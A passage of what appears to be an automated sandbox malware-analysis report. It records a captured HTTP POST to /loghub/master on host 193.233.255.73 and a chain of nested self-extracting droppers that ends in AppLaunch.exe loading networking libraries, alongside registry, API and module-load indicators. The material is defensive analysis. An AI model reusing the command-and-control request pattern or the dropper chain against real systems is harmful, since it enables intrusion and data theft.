boundary=4JJ9sCTMuDprKh96taGYContent-Length: 213User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 193.233.255.73Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "MSIE" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=4JJ9sCTMuDprKh96taGYContent-Length: 213User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 193.233.255.73Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "InfoPath" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=4JJ9sCTMuDprKh96taGYContent-Length: 213User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 193.233.255.73Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Host" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=4JJ9sCTMuDprKh96taGYContent-Length: 213User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 193.233.255.73Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "73Connection" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=4JJ9sCTMuDprKh96taGYContent-Length: 213User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 193.233.255.73Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Keep" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=4JJ9sCTMuDprKh96taGYContent-Length: 213User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 193.233.255.73Connection: Keep-AliveCache-Control: no-cache"4a:T8a6,"file.exe" trying to access non-existent file "\Device\HarddiskVolume2\FILE.EXE.LOCAL" "file.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP" "file.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP" "tX4Xf64.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\TX4XF64.EXE.LOCAL" "tX4Xf64.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP001.TMP" "tX4Xf64.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP001.TMP" "yh9Qx09.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP001.TMP\YH9QX09.EXE.LOCAL" "yh9Qx09.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP002.TMP" "yh9Qx09.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP002.TMP" "mu6rE08.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP002.TMP\MU6RE08.EXE.LOCAL" "mu6rE08.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP003.TMP" "mu6rE08.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP003.TMP" "Lb2xB02.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP003.TMP\LB2XB02.EXE.LOCAL" "Lb2xB02.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP004.TMP" "Lb2xB02.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP004.TMP" "nk2xW14.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP004.TMP\NK2XW14.EXE.LOCAL" "nk2xW14.exe" trying to access non-existent file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\Temp\IXP005.TMP" "nk2xW14.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP005.TMP" "AppLaunch.exe" trying to access non-existent file "\Device\HarddiskVolume2\Windows\SysWOW64\MSCOREE.DLL.LOCAL"4b:Tedd,"file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\USERS\HAPUBWS\APPDATA\LOCAL\TEMP\IXP000.TMP\TX4XF64.EXE"; Value: "") "tX4Xf64.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\USERS\HAPUBWS\APPDATA\LOCAL\TEMP\IXP001.TMP\YH9QX09.EXE"; Value: "") "yh9Qx09.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\USERS\HAPUBWS\APPDATA\LOCAL\TEMP\IXP002.TMP\MU6RE08.EXE"; Value: "") "mu6rE08.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\USERS\HAPUBWS\APPDATA\LOCAL\TEMP\IXP003.TMP\LB2XB02.EXE"; Value: "") "Lb2xB02.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\USERS\HAPUBWS\APPDATA\LOCAL\TEMP\IXP004.TMP\NK2XW14.EXE"; Value: "") "Lb2xB02.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\USERS\HAPUBWS\APPDATA\LOCAL\TEMP\IXP004.TMP\3IX70ME.EXE"; Value: "") "nk2xW14.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\USERS\HAPUBWS\APPDATA\LOCAL\TEMP\IXP005.TMP\1BU76BP5.EXE"; Value: "") "nk2xW14.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\USERS\HAPUBWS\APPDATA\LOCAL\TEMP\IXP005.TMP\2ZZ0679.EXE"; Value: "") "1BU76bP5.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\MICROSOFT.NET\FRAMEWORK\V4.0.30319\APPLAUNCH.EXE"; Value: "") "2Zz0679.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\MICROSOFT.NET\FRAMEWORK\V4.0.30319\APPLAUNCH.EXE"; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK\PARAMETERS"; Key: "TRANSPORTS"; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\VMBUS\PARAMETERS\WINSOCK"; Key: "MAPPING"; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\PSCHED\PARAMETERS\WINSOCK"; Key: "MAPPING"; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK\SETUP MIGRATION\PROVIDERS\PSCHED"; Key: "WINSOCK 2.0 PROVIDER ID"; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\WINSOCK"; Key: "MAPPING"; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP6\PARAMETERS\WINSOCK"; Key: "MAPPING"; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK\SETUP MIGRATION\PROVIDERS\TCPIP6"; Key: "WINSOCK 2.0 PROVIDER ID"; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP6\PARAMETERS\WINSOCK"; Key: "MINSOCKADDRLENGTH"; Value: "") "AppLaunch.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP6\PARAMETERS\WINSOCK"; Key: "MAXSOCKADDRLENGTH"; Value: "")4c:T432,Found reference to API "OpenProcessToken" (Indicator: "OpenProcess"; File: "file") file/memory contains long string with (Indicator: "OpenProcess"; File: "file") Found reference to API "GetProcessHeap" (Indicator: "GetProcessHeap"; File: "6Pp6Px0.exe.125725185") file/memory contains long string with (Indicator: "OpenProcess"; Source: "00000000-00005824.00000000.68203.0134A000.00000002.mdmp") Found reference to API "OpenProcessToken" (Indicator: "OpenProcess"; Source: "00000000-00005824.00000000.68203.0134A000.00000002.mdmp") file/memory contains long string with (Indicator: "OpenProcess"; Source: "00000000-00006500.00000001.69934.00E7A000.00000002.mdmp") Found reference to API "OpenProcessToken" (Indicator: "OpenProcess"; Source: "00000000-00006500.00000001.69934.00E7A000.00000002.mdmp") file/memory contains long string with (Indicator: "OpenProcess"; Source: "00000000-00006672.00000000.68102.010DA000.00000002.mdmp") Found reference to API "OpenProcessToken" (Indicator: "OpenProcess"; Source: "00000000-00006672.00000000.68102.010DA000.00000002.mdmp")4d:Tf01,Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; File: "file") Found reference to API "FreeSid" (Indicator: "FreeSid"; File: "file") Found reference to API "AllocateAndInitializeSid" (Indicator: "AllocateAndInitializeSid"; File: "file") Found reference to API "AllocateAndInitializeSid" (Indicator: "InitializeSid"; File: "file") Found reference to API "EqualSid" (Indicator: "EqualSid"; File: "file") Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; Source: "00000000-00005824.00000000.68203.0134A000.00000002.mdmp") Found reference to API "FreeSid" (Indicator: "FreeSid"; Source: "00000000-00005824.00000000.68203.0134A000.00000002.mdmp") Found reference to API "AllocateAndInitializeSid" (Indicator: "AllocateAndInitializeSid"; Source: "00000000-00005824.00000000.68203.0134A000.00000002.mdmp") Found reference to API "AllocateAndInitializeSid" (Indicator: "InitializeSid"; Source: "00000000-00005824.00000000.68203.0134A000.00000002.mdmp") Found reference to API "EqualSid" (Indicator: "EqualSid"; Source: "00000000-00005824.00000000.68203.0134A000.00000002.mdmp") Found reference to API "" (Indicator: "AccessCheck"; Source: "00000000-00005824.00000000.68203.03490000.00000004.mdmp") Found reference to API "" (Indicator: "SetFileSecurityW"; Source: "00000000-00005824.00000000.68203.03490000.00000004.mdmp") Found reference to API "" (Indicator: "AccessCheck"; Source: "00000000-00006500.00000001.69934.00920000.00000004.mdmp, 00000000-00006500.00000002.71851.00920000.00000004.mdmp") Found reference to API "" (Indicator: "SetFileSecurityW"; Source: "00000000-00006500.00000001.69934.00920000.00000004.mdmp, 00000000-00006500.00000002.71851.00920000.00000004.mdmp") Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; Source: "00000000-00006500.00000001.69934.00E7A000.00000002.mdmp") Found reference to API "FreeSid" (Indicator: "FreeSid"; Source: "00000000-00006500.00000001.69934.00E7A000.00000002.mdmp") Found reference to API "AllocateAndInitializeSid" (Indicator: "AllocateAndInitializeSid"; Source: "00000000-00006500.00000001.69934.00E7A000.00000002.mdmp") Found reference to API "AllocateAndInitializeSid" (Indicator: "InitializeSid"; Source: "00000000-00006500.00000001.69934.00E7A000.00000002.mdmp") Found reference to API "EqualSid" (Indicator: "EqualSid"; Source: "00000000-00006500.00000001.69934.00E7A000.00000002.mdmp") Found reference to API "" (Indicator: "AccessCheck"; Source: "00000000-00006672.00000000.68102.008A0000.00000004.mdmp, 00000000-00006672.00000002.71940.008A0000.00000004.mdmp") Found reference to API "" (Indicator: "SetFileSecurityW"; Source: "00000000-00006672.00000000.68102.008A0000.00000004.mdmp, 00000000-00006672.00000002.71940.008A0000.00000004.mdmp") Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; Source: "00000000-00006672.00000000.68102.010DA000.00000002.mdmp") Found reference to API "FreeSid" (Indicator: "FreeSid"; Source: "00000000-00006672.00000000.68102.010DA000.00000002.mdmp") Found reference to API "AllocateAndInitializeSid" (Indicator: "AllocateAndInitializeSid"; Source: "00000000-00006672.00000000.68102.010DA000.00000002.mdmp") Found reference to API "AllocateAndInitializeSid" (Indicator: "InitializeSid"; Source: "00000000-00006672.00000000.68102.010DA000.00000002.mdmp") Found reference to API "EqualSid" (Indicator: "EqualSid"; Source: "00000000-00006672.00000000.68102.010DA000.00000002.mdmp")4e:Ta7a,"file.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '13289600'}" (UID: 00000000-00007720) "file.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '13289456'}" (UID: 00000000-00007720) "file.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '13289616'}" (UID: 00000000-00007720) "file.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '13289504'}" (UID: 00000000-00007720) "file.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '13289472'}" (UID: 00000000-00007720) "file.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '13289520'}" (UID: 00000000-00007720) "file.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '13289568'}" (UID: 00000000-00007720) "file.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '13289440'}" (UID: 00000000-00007720) "file.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '13289552'}" (UID: 00000000-00007720) "file.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '13289584'}" (UID: 00000000-00007720) "tX4Xf64.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '15190144'}" (UID: 00000000-00006500) "tX4Xf64.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '15190000'}" (UID: 00000000-00006500) "tX4Xf64.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '15190160'}" (UID: 00000000-00006500) "tX4Xf64.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '15190048'}" (UID: 00000000-00006500) "tX4Xf64.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '15190016'}" (UID: 00000000-00006500) "tX4Xf64.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '15190064'}" (UID: 00000000-00006500) "tX4Xf64.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '15190112'}" (UID: 00000000-00006500) "tX4Xf64.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '15189984'}" (UID: 00000000-00006500) "tX4Xf64.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '15190096'}" (UID: 00000000-00006500) "tX4Xf64.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '15190128'}" (UID: 00000000-00006500) "yh9Qx09.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '17680512'}" (UID: 00000000-00007164) "yh9Qx09.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '17680368'}" (UID: 00000000-00007164) "yh9Qx09.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '17680528'}" (UID: 00000000-00007164)4f:T49e,Found reference to API "FindFirstFileA" (Indicator: "FindFirstFile"; File: "file") Found reference to API "FindNextFileA" (Indicator: "FindNextFile"; File: "file") Found reference to API "FindFirstFileExW" (Indicator: "FindFirstFile"; File: "6Pp6Px0.exe.125725185") Found reference to API "FindNextFileW" (Indicator: "FindNextFile"; File: "6Pp6Px0.exe.125725185") Found reference to API "FindFirstFileA" (Indicator: "FindFirstFile"; Source: "00000000-00005824.00000000.68203.0134A000.00000002.mdmp") Found reference to API "FindNextFileA" (Indicator: "FindNextFile"; Source: "00000000-00005824.00000000.68203.0134A000.00000002.mdmp") Found reference to API "FindFirstFileA" (Indicator: "FindFirstFile"; Source: "00000000-00006500.00000001.69934.00E7A000.00000002.mdmp") Found reference to API "FindNextFileA" (Indicator: "FindNextFile"; Source: "00000000-00006500.00000001.69934.00E7A000.00000002.mdmp") Found reference to API "FindFirstFileA" (Indicator: "FindFirstFile"; Source: "00000000-00006672.00000000.68102.010DA000.00000002.mdmp") Found reference to API "FindNextFileA" (Indicator: "FindNextFile"; Source: "00000000-00006672.00000000.68102.010DA000.00000002.mdmp")50:T2791,"file.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 74250000 "file.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 74250000 "file.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 74250000 "file.exe" loaded module "KERNEL32" at base 77020000 "file.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 72dd0000 "file.exe" loaded module "KERNEL32.DLL" at base 77020000 "file.exe" loaded module "%WINDIR%\SYSTEM32\ADVAPI32.DLL" at base 76fa0000 "file.exe" loaded module "FECLIENT.DLL" at base 734a0000 "file.exe" loaded module "%WINDIR%\SYSTEM32\ADVPACK.DLL" at base 72da0000 "file.exe" loaded module "NTDLL.DLL" at base 773a0000 "file.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 73d10000 "tX4Xf64.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 74250000 "tX4Xf64.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 74250000 "tX4Xf64.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 74250000 "tX4Xf64.exe" loaded module "KERNEL32" at base 77020000 "tX4Xf64.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 72dd0000 "tX4Xf64.exe" loaded module "KERNEL32.DLL" at base 77020000 "tX4Xf64.exe" loaded module "%WINDIR%\SYSTEM32\ADVAPI32.DLL" at base 76fa0000 "tX4Xf64.exe" loaded module "FECLIENT.DLL" at base 734a0000 "tX4Xf64.exe" loaded module "%WINDIR%\SYSTEM32\ADVPACK.DLL" at base 72d40000 "tX4Xf64.exe" loaded module "NTDLL.DLL" at base 773a0000 "tX4Xf64.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 73d10000 "yh9Qx09.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 74250000 "yh9Qx09.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 74250000 "yh9Qx09.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 74250000 "yh9Qx09.exe" loaded module "KERNEL32" at base 77020000 "yh9Qx09.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 72dd0000 "yh9Qx09.exe" loaded module "KERNEL32.DLL" at base 77020000 "yh9Qx09.exe" loaded module "%WINDIR%\SYSTEM32\ADVAPI32.DLL" at base 76fa0000 "yh9Qx09.exe" loaded module "FECLIENT.DLL" at base 734a0000 "yh9Qx09.exe" loaded module "%WINDIR%\SYSTEM32\ADVPACK.DLL" at base 72d40000 "yh9Qx09.exe" loaded module "NTDLL.DLL" at base 773a0000 "yh9Qx09.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 73d10000 "mu6rE08.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 74250000 "mu6rE08.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 74250000 "mu6rE08.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 74250000 "mu6rE08.exe" loaded module "KERNEL32" at base 77020000 "mu6rE08.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 72dd0000 "mu6rE08.exe" loaded module "KERNEL32.DLL" at base 77020000 "mu6rE08.exe" loaded module "%WINDIR%\SYSTEM32\ADVAPI32.DLL" at base 76fa0000 "mu6rE08.exe" loaded module "FECLIENT.DLL" at base 734a0000 "mu6rE08.exe" loaded module "%WINDIR%\SYSTEM32\ADVPACK.DLL" at base 72d40000 "mu6rE08.exe" loaded module "NTDLL.DLL" at base 773a0000 "mu6rE08.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 73d10000 "Lb2xB02.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 74250000 "Lb2xB02.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 74250000 "Lb2xB02.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 74250000 "Lb2xB02.exe" loaded module "KERNEL32" at base 77020000 "Lb2xB02.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 72dd0000 "Lb2xB02.exe" loaded module "KERNEL32.DLL" at base 77020000 "Lb2xB02.exe" loaded module "%WINDIR%\SYSTEM32\ADVAPI32.DLL" at base 76fa0000 "Lb2xB02.exe" loaded module "FECLIENT.DLL" at base 734a0000 "Lb2xB02.exe" loaded module "%WINDIR%\SYSTEM32\ADVPACK.DLL" at base 72d40000 "Lb2xB02.exe" loaded module "NTDLL.DLL" at base 773a0000 "Lb2xB02.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 73d10000 "nk2xW14.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 74250000 "nk2xW14.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 74250000 "nk2xW14.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 74250000 "nk2xW14.exe" loaded module "KERNEL32" at base 77020000 "nk2xW14.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 72dd0000 "nk2xW14.exe" loaded module "KERNEL32.DLL" at base 77020000 "nk2xW14.exe" loaded module "%WINDIR%\SYSTEM32\ADVAPI32.DLL" at base 76fa0000 "nk2xW14.exe" loaded module "FECLIENT.DLL" at base 734a0000 "nk2xW14.exe" loaded module "%WINDIR%\SYSTEM32\ADVPACK.DLL" at base 72d40000 "nk2xW14.exe" loaded module "NTDLL.DLL" at base 773a0000 "nk2xW14.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 73d10000 "1BU76bP5.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 74250000 "1BU76bP5.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 74250000 "1BU76bP5.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 74250000 "1BU76bP5.exe" loaded module "KERNEL32" at base 77020000 "1BU76bP5.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 72dd0000 "1BU76bP5.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-0" at base 74250000 "1BU76bP5.exe" loaded module "API-MS-WIN-CORE-STRING-L1-1-0" at base 74250000 "1BU76bP5.exe" loaded module "API-MS-WIN-CORE-DATETIME-L1-1-1" at base 74250000 "1BU76bP5.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-2-0" at base 74250000 "1BU76bP5.exe" loaded module "NTDLL.DLL" at base 773a0000 "1BU76bP5.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 73d10000 "1BU76bP5.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2" at base 741e0000 "AppLaunch.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 74250000 "AppLaunch.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 74250000 "AppLaunch.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 74250000 "AppLaunch.exe" loaded module "KERNEL32" at base 77020000 "AppLaunch.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 72dd0000 "AppLaunch.exe" loaded module "ADVAPI32.DLL" at base 76fa0000 "AppLaunch.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\MSCOREEI.DLL" at base 72c80000 "AppLaunch.exe" loaded module "SHLWAPI.DLL" at base 74fc0000 "AppLaunch.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2.DLL" at base 741e0000 "AppLaunch.exe" loaded module "VERSION.DLL" at base 73b00000 "AppLaunch.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\CLR.DLL" at base 724d0000 "AppLaunch.exe" loaded module "USER32.DLL" at base 74cf0000 "AppLaunch.exe" loaded module "API-MS-WIN-CORE-QUIRKS-L1-1-0.DLL" at base 74250000 "AppLaunch.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\MSCOREE.DLL" at base 0 "AppLaunch.exe" loaded module "MSCOREE.DLL" at base 72d10000 "AppLaunch.exe" loaded module "%WINDIR%\SYSTEM32\COMBASE.DLL" at base 76350000 "AppLaunch.exe" loaded module "PSAPI.DLL" at base 73f10000 "AppLaunch.exe" loaded module "KERNEL32.DLL" at base 77020000 "AppLaunch.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\MSCORLIB\36EACCFDE177C2E7B93B8DBDDE4E012A\MSCORLIB.NI.DLL" at base 704e0000 "AppLaunch.exe" loaded module "RPCRT4.DLL" at base 767e0000 "AppLaunch.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\OLE32.DLL" at base 0 "AppLaunch.exe" loaded module "OLE32.DLL" at base 740d0000 "AppLaunch.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\API-MS-WIN-CORE-WINRT-L1-1-0.DLL" at base 0 "AppLaunch.exe" loaded module "API-MS-WIN-CORE-WINRT-L1-1-0.DLL" at base 76350000 "AppLaunch.exe" loaded module "API-MS-WIN-CORE-XSTATE-L2-1-0.DLL" at base 74250000 "AppLaunch.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\CLRJIT.DLL" at base 72370000 "AppLaunch.exe" loaded module "SSPICLI.DLL" at base 73dc0000 "AppLaunch.exe" loaded module "ADVAPI32" at base 76fa0000 "AppLaunch.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\NTDLL.DLL" at base 0 "AppLaunch.exe" loaded module "NTDLL.DLL" at base 773a0000 "2Zz0679.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 74250000 "2Zz0679.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 74250000 "2Zz0679.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 74250000 "2Zz0679.exe" loaded module "KERNEL32" at base 77020000 "2Zz0679.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 72dd0000 "2Zz0679.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-0" at base 74250000 "2Zz0679.exe" loaded module "API-MS-WIN-CORE-STRING-L1-1-0" at base 74250000 "2Zz0679.exe" loaded module "API-MS-WIN-CORE-DATETIME-L1-1-1" at base 74250000 "2Zz0679.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-2-0" at base 74250000 "2Zz0679.exe" loaded module "NTDLL.DLL" at base 773a0000 "2Zz0679.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 73d10000 "2Zz0679.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2" at base 741e0000 "AppLaunch.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-0" at base 74250000 "AppLaunch.exe" loaded module "WININET.DLL" at base 71ec0000 "AppLaunch.exe" loaded module "ONDEMANDCONNROUTEHELPER.DLL" at base 72350000 "AppLaunch.exe" loaded module "WINHTTP.DLL" at base 722a0000 "AppLaunch.exe" loaded module "%WINDIR%\SYSTEM32\ONDEMANDCONNROUTEHELPER.DLL" at base 72350000 "AppLaunch.exe" loaded module "%WINDIR%\SYSTEM32\MSWSOCK.DLL" at base 737a0000 "AppLaunch.exe" loaded module "%WINDIR%\SYSTEM32\WS2_32" at base 73fd0000 "AppLaunch.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2" at base 741e0000 "3Ix70mE.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 74250000 "3Ix70mE.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 74250000 "3Ix70mE.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at 